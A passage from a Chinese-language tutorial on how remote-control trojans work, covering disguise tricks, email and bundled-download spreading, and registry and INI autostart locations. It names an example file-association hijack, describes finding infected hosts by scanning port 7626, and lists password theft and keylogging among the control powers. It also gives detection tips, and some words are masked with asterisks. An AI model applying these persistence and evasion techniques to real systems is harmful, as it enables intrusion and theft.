(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。

(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的 *** 地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。

木马原理

用木马这种黑客工具进行 *** 入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。

一.配置木马

一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:

(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。

(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。

二.传播木马

(1)传播方式:

木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为 名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。

(2)伪装方式:

鉴于木马的危害性,很多人对木马知识还是有一定了解的,这对木马的传播起了一定的抑 *** 用,这 是木马设计者所不愿见到的,因此他们开发了多种功能来伪装木马,以达到降低用户警觉,欺骗用户的目 的。

(一)修改图标

当你在E-MAIL的附件中看到这个图标时,是否会认为这是个文本文件呢?但是我不得不告 诉你,这也有可能是个木马程序,现在 已经有木马可以将木马服务端程序的图标改成HTML,TXT, ZIP等各种文件的图标,这有相当大的迷 惑性,但是目前提供这种功能的木马还不多见,并且这种 伪装也不是无懈可击的,所以不必整天提 心吊胆,疑神疑鬼的。

(二)捆绑文件

这种伪装手段是将木马捆绑到一个安装程序上,当安装程序运行时,木马在用户毫无察觉的 情况下 ,偷偷的进入了系统。至于被捆绑的文件一般是可执行文件(即EXE,COM一类的文件)。

(三)出错显示

有一定木马知识的人都知道,如果打开一个文件,没有任何反应,这很可能就是个木马程序, 木马的 设计者也意识到了这个缺陷,所以已经有木马提供了一个叫做出错显示的功能。当服务 端用户打开木 马程序时,会弹出一个如下图所示的错误提示框(这当然是假的),错误内容可自由 定义,大多会定制成 一些诸如“文件已破坏,无法打开的!”之类的信息,当服务端用户信以 为真时,木马却悄悄侵入了 系统。

(四)定制端口

很多老式的木马端口都是固定的,这给判断是否感染了木马带来了方便,只要查一下特定的 端口就 知道感染了什么木马,所以现在很多新式的木马都加入了定制端口的功能,控制端用户可 以在1024---65535之间任选一个端口作为木马端口(一般不选1024以下的端口),这样就给判断 所感染木马类型带 来了麻烦。

(五)自我销毁

这项功能是为了弥补木马的一个缺陷。我们知道当服务端用户打开含有木马的文件后,木马 会将自己拷贝到WINDOWS的系统文件夹中(C:\WINDOWS或C:\WINDOWS\SYSTEM目录下),一般来说 原木马文件 和系统文件夹中的木马文件的大小是一样的(捆绑文件的木马除外),那么中了木马 的朋友只要在近来 收到的信件和下载的软件中找到原木马文件,然后根据原木马的大小去系统 文件夹找相同大小的文件, 判断一下哪个是木马就行了。而木马的自我销毁功能是指安装完木 马后,原木马文件将自动销毁,这 样服务端用户就很难找到木马的来源,在没有查杀木马的工 具帮助下,就很难删除木马了。

(六)木马更名

安装到系统文件夹中的木马的文件名一般是固定的,那么只要根据一些查杀木马的文章,按 图索骥在系统文件夹查找特定的文件,就可以断定中了什么木马。所以现在有很多木马都允许控 制端用户自由定制安装后的木马文件名,这样很难判断所感染的木马类型了。

三.运行木马

服务端用户运行木马或捆绑木马的程序后,木马就会自动进行安装。首先将自身拷贝到WINDOWS的 系统文件夹中(C:\WINDOWS或C:\WINDOWS\SYSTEM目录下),然后在注册表,启动组,非启动组中设置好木马 的触发条件 ,这样木马的安装就完成了。安装后就可以启动木马了,具体过程见下图:

(1)由触发条件激活木马

触发条件是指启动木马的条件,大致出现在下面八个地方:

1.注册表:打开HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\下的五个以Run 和RunServices主键,在其中寻找可能是启动木马的键值。

2.WIN.INI:C:\WINDOWS目录下有一个配置文件win.ini,用文本方式打开,在[windows]字段中有启动 命令 load=和run=,在一般情况下是空白的,如果有启动程序,可能是木马。 3.SYSTEM.INI:C:\WINDOWS目录下有个配置文件system.ini,用文本方式打开,在[386Enh],[mic], [drivers32]中有命令行,在其中寻找木马的启动命令。

4.Autoexec.bat和Config.sys:在C盘根目录下的这两个文件也可以启动木马。但这种加载方式一般都 需要控制端用户与服务端建立连接后,将已添加木马启动命令的同名 文件上传 到服务端覆盖这两个文件才行。

5.*.INI:即应用程序的启动配置文件,控制端利用这些文件能启动程序的特点,将 *** 好的带有木马 启动命令的同名文件上传到服务端覆盖这同名文件,这样就可以达到启动木马的目的了。

6.注册表:打开HKEY_CLASSES_ROOT\文件类型\shell\open\command主键,查看其键值。举个例子,国产 木马“冰河”就是修改HKEY_CLASSES_ROOT\txtfile\shell\open\command下的键值,将“C :\WINDOWS \NOTEPAD.EXE %1”该为“C:\WINDOWS\SYSTEM\SYXXXPLR.EXE %1”,这时你双 击一个TXT文件 后,原本应用NOTEPAD打开文件的,现在却变成启动木马程序了。还要说明 的是不光是TXT文件 ,通过修改HTML,EXE,ZIP等文件的启动命令的键值都可以启动木马 ,不同之处只在于“文件类型”这个主键的差别,TXT是txtfile,ZIP是WINZIP,大家可以 试着去找一下。

7.捆绑文件:实现这种触发条件首先要控制端和服务端已通过木马建立连接,然后控制端用户用工具 软件将木马文件和某一应用程序捆绑在一起,然后上传到服务端覆盖原文件,这样即使 木马被删 除了,只要运行捆绑了木马的应用程序,木马又会被安装上去了。

8.启动菜单:在“开始---程序---启动”选项下也可能有木马的触发条件。

(2)木马运行过程

木马被激活后,进入内存,并开启事先定义的木马端口,准备与控制端建立连接。这时服务端用 户可以在MS-DOS方式下,键入NETSTAT -AN查看端口状态,一般个人电脑在脱机状态下是不会有端口 开放的,如果有端口开放,你就要注意是否感染木马了。下面是电脑感染木马后,用NETSTAT命令查 看端口的两个实例:

其中①是服务端与控制端建立连接时的显示状态,②是服务端与控制端还未建立连接时的显示状态。

在上网过程中要下载软件,发送信件,网上聊天等必然打开一些端口,下面是一些常用的端口:

(1)1---1024之间的端口:这些端口叫保留端口,是专给一些对外通讯的程序用的,如FTP使用21, *** TP使用25,POP3使用110等。只有很少木马会用保留端口作为木马端口 的。

(2)1025以上的连续端口:在上网浏览网站时,浏览器会打开多个连续的端口下载文字,图片到本地 硬盘上,这些端口都是1025以上的连续端口。

(3)4000端口:这是OICQ的通讯端口。

(4)6667端口:这是IRC的通讯端口。 除上述的端口基本可以排除在外,如发现还有其它端口打开,尤其是数值比较大的端口,那就要怀疑 是否感染了木马,当然如果木马有定制端口的功能,那任何端口都有可能是木马端口。

四.信息泄露:

一般来说,设计成熟的木马都有一个信息反馈机制。所谓信息反馈机制是指木马成功安装后会收集 一些服务端的软硬件信息,并通过E-MAIL,IRC或ICO的方式告知控制端用户。下图是一个典型的信息反 馈邮件。

从这封邮件中我们可以知道服务端的一些软硬件信息,包括使用的操作系统,系统目录,硬盘分区况, 系统口令等,在这些信息中,最重要的是服务端IP,因为只有得到这个参数,控制端才能与服务端建立 连接,具体的连接 *** 我们会在下一节中讲解。

五.建立连接:

这一节我们讲解一下木马连接是怎样建立的 。一个木马连接的建立首先必须满足两个条件:一是 服务端已安装了木马程序;二是控制端,服务端都要在线 。在此基础上控制端可以通过木马端口与服 务端建立连接。为了便于说明我们采用图示的形式来讲解。

如上图所示A机为控制端,B机为服务端,对于A机来说要与B机建立连接必须知道B机的木马端口和IP地 址,由于木马端口是A机事先设定的,为已知项,所以最重要的是如何获得B机的IP地址。获得B机的IP 地址的 *** 主要有两种:信息反馈和IP扫描。对于前一种已在上一节中已经介绍过了,不再赘述,我们 重点来介绍IP扫描,因为B机装有木马程序,所以它的木马端口7626是处于开放状态的,所以现在A机只 要扫描IP地址段中7626端口开放的主机就行了,例如图中B机的IP地址是202.102.47.56,当A机扫描到 这个IP时发现它的7626端口是开放的,那么这个IP就会被添加到列表中,这时A机就可以通过木马的控 制端程序向B机发出连接信号,B机中的木马程序收到信号后立即作出响应,当A机收到响应的信号后, 开启一个随即端口1031与B机的木马端口7626建立连接,到这时一个木马连接才算真正建立。值得一提 的要扫描整个IP地址段显然费时费力,一般来说控制端都是先通过信息反馈获得服务端的IP地址,由于 拨号上网的IP是动态的,即用户每次上网的IP都是不同的,但是这个IP是在一定范围内变动的,如图中 B机的IP是202.102.47.56,那么B机上网IP的变动范围是在202.102.000.000---202.102.255.255,所以 每次控制端只要搜索这个IP地址段就可以找到B机了。

六.远程控制:

木马连接建立后,控制端端口和木马端口之间将会出现一条通道,见下图

控制端上的控制端程序可藉这条通道与服务端上的木马程序取得联系,并通过木马程序对服务端进行远 程控制。下面我们就介绍一下控制端具体能享有哪些控制权限,这远比你想象的要大。

(1)窃取密码:一切以明文的形式,*形式或缓存在CACHE中的密码都能被木马侦测到,此外很多木马还 提供有击键记录功能,它将会记录服务端每次敲击键盘的动作,所以一旦有木马入侵, 密码将很容易被窃取。

(2)文件操作:控制端可藉由远程控制对服务端上的文件进行删除,新建,修改,上传,下载,运行,更改属 性等一系列操作,基本涵盖了WINDOWS平台上所有的文件操作功能。

(3)修改注册表:控制端可任意修改服务端注册表,包括删除,新建或修改主键,子键,键值。有了这 项功能控制端就可以禁止服务端软驱,光驱的使用,锁住服务端的注册表,将服务端 上木马的触发条件设置得更隐蔽的一系列高级操作。

(4)系统操作:这项内容包括重启或关闭服务端操作系统,断开服务端 *** 连接,控制服务端的鼠标, 键盘,监视服务端桌面操作,查看服务端进程等,控制端甚至可以随时给服务端发送信 息,想象一下,当服务端的桌面上突然跳出一段话,不吓人一跳才怪

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